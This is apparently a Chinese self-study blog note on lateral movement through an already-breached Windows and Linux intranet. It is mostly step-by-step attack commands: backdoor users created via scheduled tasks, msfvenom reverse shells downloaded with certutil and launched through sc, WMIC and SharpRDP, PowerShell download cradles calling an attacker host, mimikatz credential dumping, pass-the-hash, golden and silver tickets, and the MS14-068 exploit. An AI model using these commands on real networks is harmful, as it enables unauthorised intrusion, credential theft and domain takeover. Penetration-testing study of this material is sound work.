内网横向渗透技术详解(自学)
在已经进入内网的情况下,需要进一步利用现有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个网段、获取最高权限的目的。在很多时候,内网渗透的起点往往是通过一台存在漏洞缺陷的主机作为跳板,横向渗透的目标就是找到突破口不断扩大再本段内的结果。
进入内网维持权限之后接下来要做的就是对当前网络信息进行全面的信息收集,包括所处网络位置、计算机信息、横向资产、服务端口、敏感数据等。可以通过流量监听、端口扫描、CS嗅探、Mimikatz抓取密码等。
本篇为学习笔记,参考大佬链接红蓝对抗下的内网横向移动渗透技术详解_横向渗透-CSDN博客
目录
利用计划任务进行横向渗透
AT命令
Schtasks命令
利用远程服务进行横向渗透
SC命令
SCShell
利用WinRM进行横向渗透
WinRS
Invoke-Command
Enter-PSSession
利用PTH(哈希传递)进行横向渗透
获取哈希值
使用Mimikatz
使用Hashdump
使用Metasploit
使用crackmapexec进行PTH攻击
使用wmiexec进行PTH攻击
利用PTT(票据传递)进行横向渗透
黄金票据和白银票据
黄金票据
白银票据
MS14-068
kekeo
利用PsExec进行横向渗透
利用RDP进行横向渗透
RDP的PTH攻击
SharpRDP
利用WMI进行横向渗透
WMIC
wmiexec和wmiexec.vbs
WMICHACKER
Linux横向渗透
利用计划任务进行横向渗透
基本的利用思路,是通过at/schtasks命令创建和管理计划任务,建立IPC$连接,创建bat脚本并复制到目标主机,再使用at/schtasks命令创建定时任务执行脚本。
AT命令
AT命令是Windows2016之前的命令,在Windows用于创建呃管理计划任务。在进行横向渗透前,需要和目标建立IPC$连接,这就需要提前知道靶场机器administrator的密码,这在内网信息收集那里体现。
1)使用命令 net use \\目标ip\IPC$ "password" /user."administrator"
2)创建维持权限的脚本,例如创建用户bat脚本。创建add.bat脚本,内容为net user hacker Admin123. /add
3)使用命令copy将bat脚本复制到目标C盘根目录下:copy add.bat \\目标ip\C$
4)使用at命令创建一个定时任务来执行bat文件,例如at \\目标ip 12:00 C:\add.bat
5)当执行完成后,在目标主机可以查看到hacker用户被添加成功。
Schtasks命令
Schtasks也差不多,只不过是at命令的升级,能够更加自由地配置选项。
命令参数 | 作用 |
---|---|
/S | 指定连接的远程IP |
/U | 指定用户名 |
/P | 指定用户名的密码 |
/RU | 指定用户权限 |
/TN | 任务计划名称 |
/SC | 制定计划类型 |
/TR | 指定任务运行的程序 |
/MO | 执行任务计划执行周期 |
1)建立IPC连接:net use \\目标ip\IPC$ password /user:Administrator
2)创建bat文件,这里写入calc.bat文件内容start C:\windows\system32\calc.exe,执行计算机
3)复制bat文件到目标主机:copy calc.bat \\目标ip\c$
4)使用Schtasks命令生成计算任务:schtasks /create /s 目标ip /ru "SYSTEM" /tn calc /sc DAILY /tr c:\calc.bat /F
5)运行calc计划任务:schtasks /run /s 目标ip /tn calc /i
6)打开目标主机发现成功运行计划任务并打开了计算机程序
利用远程服务进行横向渗透
在Windows中,服务是指在Windows操作系统中运行的后台程序。它们通常用于执行系统级任务,例如执行定时任务、管理网络连接或监控系统性能。我们可以使用SC来管理Windows服务。
利用远程服务的基本思路跟利用计划任务很相似,在攻击机上生成恶意的exe程序,然后一步步传入目标计算机(攻击机->跳板机->目标机器),然后使用sc创建服务并执行恶意程序。根据思路也能知道利用的前提是获取了跳板机的权限以及能够和目标机器建立IPC连接(知道管理员密码)
SC命令
1)在攻击机kali生成shell.exe程序,进行反弹shell:msfvenom -p windows/x4/shell_reverse_tcp lhost=kali_ip lport=4444 -f exe > shell.exe
2)在攻击机开启监听端口:nc -lvnp 4444
3)kai搭建web服务器:python3 -m http.server 8080
4)跳板机下载kali中的shell.exe程序:certutil -urlcache -split -f http://kali_ip:8080/shell.exe C:\shell.exe
5)上传shell.exe到目标机器(这里已经建立好IPC连接):copy shell.exe \\目标ip\C$
6)使用sc命令创建执行shell.exe程序的服务:sc \\目标ip create backdoorServer binpath="C:\shell.exe"
7)使用sc命令执行backdoorServer服务:sc \\目标ip start backdoorServer
8)启动该服务后,服务相对应的可执行文件将会被执行,最终在kali可以看到成功反弹shell
SCShell
SCShell是一个无文件横向移动工具。
在使用SCShell工具之前,需要知道目标机器的管理员凭据以及目标机器当前所运行的系统服务名称。那可以使用svchost.exe系统中自带的defragsvc服务作为利用的远程服务。
scshell.exe 目标ip defragsvc "c:\windows\system32\cmd.exe /c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://跳板机ip:80/ad'))\"" . Administrator Password@123"
利用WinRM进行横向渗透
WinRM是Windows的远程管理服务,在Windows 2008以上版本的操作系统中,WinRM服务是自动开启的,默认管理端口为5985。
WinRS
WinRS是Windows的远程Shell,相当于WinRM的客户端。使用WinRS可以访问运行有WinRM的服务器,可以与目标主机形成交互式会话。
如果跳板机跟目标主机在同一个域控下,可以直接利用;如果跳板机没有加入域控的情况下,使用WinRS命令需先将目标机器的IP加入客户端信任列表(cmd和powershell都可以):
winrm set winrm/config/Client@{TrustedHosts="目标ip"}
然后使用winrs命令即可获取目标机器的交互式会话:
winrs -r:http://目标ip:5985 -u:administrator -p :Admin123.
Invoke-Command
Invoke-Command是一个powershell命令,该命令用于在远程机器上运行脚本或其他命令。Invoke-Command使用WinRM服务在远程计算机上执行命令,要使用Invoke-Command需要满足几个条件:
1. 在远程计算机上具有足够的权限
2. WinRM服务在远程计算机上运行
利用思路差不多也是上传一个恶意的可执行文件到目标机器上,然后使用命令执行这个可执行文件:
1)在kali攻击机生成恶意可执行文件,然后开启监听,开启web服务。再在跳板机将文件下载,然后利用IPC连接上传文件到目标机器上(这些过程上文有,就不再赘述)。
2)将目标机器的IP加入信任域后,在跳板机上的powershell运行Invoke-Command命令:
Invoke-Command -ComputerName 目标ip -Credential administrator -Command {C:\invoke.exe
-ComputerName:指定主机名/IP。
-Credential:指定目标用户名。
-Command:指定需要执行的程序。
3)返回kali机就可以看到反弹shell
Enter-PSSession
Enter-PSSession是powershell自带的一条命令,主要用于与远程主机建立交互式会话。该命令与WinRS具有相似的效果,都是通过WinRM建立连接的,且都能返回一个交互式会话。利用前提也同样要知道目标主机的管理员账号密码以及WinRM服务运行。
1)攻击机kali上生成shell.exe文件,然后开启监听端口和web服务
2)在跳板机使用powershell下执行New-PSSerssion命令与目标靶机创建远程交互会话:
New-PSSession -ComputerName 目标ip -Credential administrator -Port 5985
这里会跳出一个凭据验证请求,输入密码即可验证。验证成功后会生成一个票据(会话),比如Session2.
3)进入交互式会话:
Enter-PSSession -name Session2
4)在交互式会话中使用certutil命令将kali的恶意代码执行文件下载到目标机:
certutil -urlcache -split -f http://kali_ip:8080/enter.exe C:\enter.exe
5)运行可自行文件:start enter.exe
6)返回kali,即可看到反弹shell
利用PTH(哈希传递)进行横向渗透
PTH哈希传递攻击是一种非常典型的内网渗透攻击方式。它是通过寻找账号相关的密码散列值,常见的就是NTLM哈希值,进行NTLM认证。在Windows中应用程序需要用户提供明文密码,然后最后调用LsalogonUser之类的API将密码进行转换,转换后在NTLM身份认证时将哈希值发送给远程服务器进行验证,而这个网络认证过程之间是不需要明文密码的。也就是说,利用这个机制,攻击者可以不用获取明文密码,只需要通过NTLM哈希或者LM哈希就可以进行远程访问。
而PTH哈希传递攻击可以说是基于NTLM认证缺陷的一种攻击方式,攻击者可以利用获取用户密码哈希值来进行NTLM认证。
假设在域环境中,计算机登录会使用相同的本地管理员账号和密码,那么攻击者就可以利用PTH攻击的手段访问其他登录内网的计算机。通过这种攻击方式,攻击者不需要花时间破解密码哈希值来获取明文密码登录,而可以直接通过哈希值来实现对其他域内计算机的控制。
获取哈希值
需要注意的是抓取哈希值需要管理员权限。
使用Mimikatz
Mimikatz工具是很常使用的抓取密码的工具。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
这个命令将列出当前系统中所有用户的登录信息,包括用户名、密码哈希值等。
使用Hashdump
Hashdump是另一种可以抓取Windows哈希值的工具:hashdump命令即可列出当前系统所有用户的密码哈希值。
使用Metasploit
Metasploit是一款集成的渗透测试工具,也可以抓取Windows哈希值。
- 在 Metasploit 中选择一个适合的模块,例如 “post/windows/gather/smart_hashdump”。
- 配置模块的参数,例如目标 IP 地址等。
- 运行模块,Metasploit 将尝试抓取目标系统中用户密码的哈希值。
使用crackmapexec进行PTH攻击
Crackmapexec是一款针对域后渗透工具,能够帮助我们对大型域网络的安全性进行评估。该工具利用域内置功能/协议达成目的,能规避大多数终端防护/IDS/IPS解决方案。crackmapexec是利用SMB协议进行攻击的。
crackmapexec进行PTH攻击:
crackmapexec smb 目标ip -u Administrator -H 3766c17d09689c438a072a33270cb6f5 -d test.com -x whoami
其中参数:-u指定用户,-H指定哈希值,-d指定域,-x指定要执行的命令。
使用wmiexec进行PTH攻击
PTH攻击除了通过SMB进行以外,还可以使用WMI进行。wmiexec工具就是利用wmi来进行PTH攻击。
python3 wmiexec.py -hashes 00000000000000000000000000000000:3766c17d09689c438a072a33270cb6f5 test.com/Administrator@目标ip
利用PTT(票据传递)进行横向渗透
PTT票据传递攻击是一种利用kerberos票据代替明文密码或者NTLM哈希的方法。这种攻击手段可以用kerberos票据进行内网横向渗透而不需要管理员权限,它最常见的是利用黄金票据和白银票据。这种利用方式也非常简单,攻击者可以从linux系统中窃取kerberos凭据,然后在身份验证时传递到Windows机器上,达到横向渗透的结果。
黄金票据和白银票据
首先简单地讲述一下kerberos协议过程,比较简短可以自行去详细了解:
- Client(客户端)上的用户请求KDC上的AS服务TGT
- Client获得TGT,并使用TGT请求KDC上的TGS得到ST(TGS ticket)
- Client使用ST(TGS ticket)访问Server
这个过程就好比:用户(Client)坐飞机,机场告诉你必须有机票(TGT)才可以登机,接着你去购票处(AS)出示身份证(Client name)购买了一张机票(TGT),然后拿着机票登机,在检票处(TGS)出示机票,随后服务人员告诉你座位号(TGS ticket),然后就可以登机坐到自己的位置上(Server)。
整个过程中TGT就是黄金票据,ST就是白银票据。
黄金票据
黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户。
利用前提:
- 拿到域控,所以适合做权限维持、、
- 有krbtgt用户的hash值(aeshash、ntlmhash等都可以)
条件要求:
- 域名:
whoami net time /domain ipconfig /all
- 域的SID值:
-
whoami /all
- 域的krbtgt账户NTLM密码哈希:
lsadump::dcsync /domain:zz.com /user:krbtgt /csv
- 伪造用户名:
net group "domain admins"
使用Mimikatz工具利用:
1、清除所有票据
klist purge
2、使用mimikatz伪造指定用户的票据并注入到内存
kerberos::golden /admin:administrator /domain:zz.com /sid:S-1-5-21-1373374443
白银票据
白银票据伪造ST票据,这样的好处是门票不会经过KDC,从而更加隐蔽,但是伪造的票据只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(Windows远程管理),DNS等等
利用前提:
- 拿到目标机器的hash值(可以不需要域控)
条件要求:
- 域名:whoami、net time /domain、ipconfig /all
- SID:whoami /all
- 目标机器的FQDN:FQDN代表全限定域名。它是一个完整的域名,包含了主机名和域名后缀,用于唯一标识和定位网络上的主机或服务。
net time /domain 就是hostname+域名 /target:\\WIN-75NA0949GFB.NOONE.com
- 可利用的服务,比如CIFS服务:
/service:CIFS
- 伪造的用户名:
/user:Administrator
- 服务账号的ntlm hash
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt
利用方式:
1、清除所有票据
klist purge
2、使用mimikatz伪造指定用户的票据并注入到内存
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服
MS14-068
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,位于域控制器的密钥分发中心的kdcsvc.dll。它允许经过身份验证的用户再其kerberos票证中插入任意PAC,并且可能允许攻击者将未经授权的域用户账户的权限提升为域管理员的权限。攻击者可以通过构造特定的请求包来达到提升权限的目的。
利用条件:
- 获取域普通用户的账号密码
- 获取域普通用户的SID
- 服务器存在此漏洞,即未安装KB3011780补丁
利用过程:
1)可以通过systeminfo获取系统详细信息,查看服务器是否安装KB3011780补丁。
2)通过whoami /all查询用户SID
3)在创建票据前先清空系统内票据:
mimikatz # kerberos::purge
4)下载ms14-068漏洞利用程序,然后生成相应票据:
ms14-068.exe -u Administrator@test.com -p Admin123. -s S-1-5-21-852302026-1017351130-1254579120-1104 -d 目标ip
其中-u参数指定域用户@域名,-p参数用来指定域用户密码,-s参数用来指定域用户SID,-d参数用来指定域控ip。
5)使用Mimikatz工具将生成的凭据注入内存中:
kerberos::ptc 票据文件名
6)将票据注入内存中后,使用psexec.exe工具可以连接域控建立交互式会话,拿到域控权限:
psexec.exe \\目标ip cmd.exe
kekeo
kekeo是一款开源工具,主要用来进行票据传递、S4U约束委派滥用等。利用该工具生成票据的利用条件是需要知道目标域名、用户名、哈希
1)使用kekeo工具生成票据:
kekeo.exe "tgt::ask /user:Administrator /domain:test.com /ntlm:3766c17d09689c438a072a33270cb6f5"
2)注入票据前需要清理当前系统所存票据:
mimikatz # kerberos::purge
3)注入票据:
kerberos::ptc 票据文件名
4)注入完成后,可以使用命令klist命令来查看票据是否注入成功,然后进一步使用dir命令来验证票据是否有权限,如果dir \\目标ip\C$能够远程查看到域控的C盘目录下的文件,则说明已经拿下域控。
利用PsExec进行横向渗透
Psexec是代替telnet来帮助系统管理员进行远程管理的,使用psexec可以通过SMB协议在远程主机上运行命令,无需在远程主机上安装任何客户端程序就可以远程管理,并可以获得一个强交互的命令控制台。
Psexec的实际工作原理是:首先与远程主机建立IPC$连接,并向远程主机传输Psexecsvc.exe,传输到远程主机的默认共享文件夹中;然后打开\\RDC\pipe\svcctl,也就是SCManager(服务控制管理器),远程创建并启动一个名为Psexecsvc的服务;接着生成4个命名管道,分别用于Psexecsvc服务本身、stdin、stdout、stderr。我们发送命令给远程主机之后,远程主机启动相应程序,并通过命名管道将执行的结果返回。
利用条件:
- 获取对方的凭证信息(账号密码)
- 对方开启默认共享服务
利用方式:
PsExec.exe -accepteula \\目标ip -u administrator -p Password@123 -i cmd.exe
其中,-u参数指定登录的用户名,-p参数指定登录用户名,-i参数指定运行程序并产生交互。使用-s参数可以指定程序以System权限运行。
PsExec.exe -accepteula \\目标ip -u administrator -p Password@123 -s cmd.exe
利用RDP进行横向渗透
RDP的PTH攻击
在介绍针对RDP的PTH之前我们需要了解一个安全措施——Restricted Admin Mode(受限管理模式)。该模式是Windows中的一个功能,当用户登录到一台已知被控主机时,它可以保护密码不会被保存在被控主机的内存中,但是更改了远程桌面协议,使用的是网络登录而不是交互式登录,从而导致用户可以使用NTLM哈希或者Kerberos票据进行身份验证。但是该模式仅仅存在于Windows Server 2012 R2以及Windows 8.1以上版本的操作系统中,如果你的操作系统不符合要求,则需要安装相应的补丁。这个利用方式只有在域环境中才能进行利用它。
所以说,利用前提是要开启了Restricted Admin Mode:可以通过修改注册表来开启Restricted Admin Mode,使用命令REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f"。开启完成后查看是否开启成功 执行命令 "REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin",若DisableRestrictedAdmin值为0则代表开启成功。
利用方式:
1)伪造用户,开启mstsc进程:
privilege::debug
sekurlsa::pth /user:Administrator /domain:test.com /ntlm:a29f7623fd11550def0192de9246f46b /run:"mstsc.exe /restrictedadmin"
执行后可以看到成功打开一个mstsc进程,点击下一步,然后直接连接,登陆成功后可以发现登录用户依然是伪造的用户。
SharpRDP
SharpRDP是一款可以不借助远程桌面GUI的情况下,通过RDP协议进行命令执行的程序。它主要通过使用mstscax.dll来进行操作的。当我们使用SharpRDP连接目标主机之后,SharpRDP会使用SendKeys的方法将虚拟击键发送到远程系统中,在默认情况下会打开运行窗口,然后打开powerhsell或者CMD运行我们输入的命令。所有的命令都会在RDP协议中进行通信,无须打开GUI客户端。
利用前提:
同样要自己知道目标机器的账号密码。
利用方式:
1)使用Cobalt Strike来帮助我们进行目标上线工作:
点击launch后会生成命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.3:80/a'))"。
2)使用SharpRDP执行该命令:
SharpRDP.exe computername=192.168.1.2 command="powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.3:80/a'))\"" username=Administrator password=Password@123
3)执行后可以在CS看到反弹shell
利用WMI进行横向渗透
WMIC
思路就是上面说的,利用wmic工具将kali攻击机上的恶意执行程序下载到目标机器并执行。
利用前提同样也是需要知道目标主机的账号密码
1)kali中msf生成恶意程序并开启监听和搭建好web
2)在跳板机上使用wmic远程连接主机,下载文件并执行:
wmic /node:目标主机ip /user:Administrator /password:Password@123 process call create "cmd.exe /c certutil.exe -urlcache -f -split http://kali-ip:8080/exp.exe&&exp.exe"
其中process call create代表创建一个指定进程
3)命令执行成功后,可以看到kali成功反弹shell
wmiexec和wmiexec.vbs
Impacket工具包中的wmiexec.py文件可以获得一个具有交互的shell,使用命令
python3 wmiexec.py Administrator:Password@123@目标ip
即可获取到目标的一个交互式会话。
上面也有通过wmiexec传递哈希值方式登录的,这里不赘述。
wmiexec.vbs工具也一样,只不过有更详细的回显:
cscript wmiexec.vbs /cmd 目标ip Administrator Password@123 whoami
WMICHACKER
WMI是通过135端口去建立连接的,wmiexec为了使命令进行回显,会将命令执行结果写到文本中,随后通过445端口去查看文本内容,而WMICHACKER可以不通过445端口达到命令回显的效果。
利用方式:
cscript WMIHACKER_0.6.vbs /cmd 目标ip Administrator "Password@123" whoami 1
Linux横向渗透
关于Linux横向渗透最主要的应该是通过密码横向渗透。
因为内网环境管理员可能就那么几个,不同服务器所设置的密码很有可能是相同的,那么ssh利用就非常重要。
一般情况下ssh密钥存放在~/.ssh/目录下:id_rsa 为私钥,id_rsa.pub 为公钥
如果找到密钥,就需要找到该密钥用于哪个服务器,关于一个几个文件:
/etc/hosts
/etc/ssh/ssh_config
~/.known_hosts
~/.bash_history
~/.ssh/config
known_hosts文件用于验证远程登录系统的身份,里面可以找到关于服务器和密钥之间的关系。
该文件包含用户已连接过所有主机的远程机器ip、远程机器公钥。一般,初次登陆,ssh会自动将远程主机的公钥添加到用户的known_hosts文件。known_hosts格式有两种,取决于你的~/.ssh/config文件中的HashKnownHosts字段的设置,有可能是明文也有可能是一段哈希字符串。如果没有~/.ssh/config文件,这取决于/etc/ssh/ssh_config 文件中的该字段。
知道了密钥和服务器之后就可以使用ssh命令登录
ssh root@ip -i /home/kali/.ssh/id_rsa
也可以进行ssh密码爆破,常用hashcat等工具尝试爆破。
另外,也可以通过strace监听ssh来源流量,抓取登录密码,可以去了解。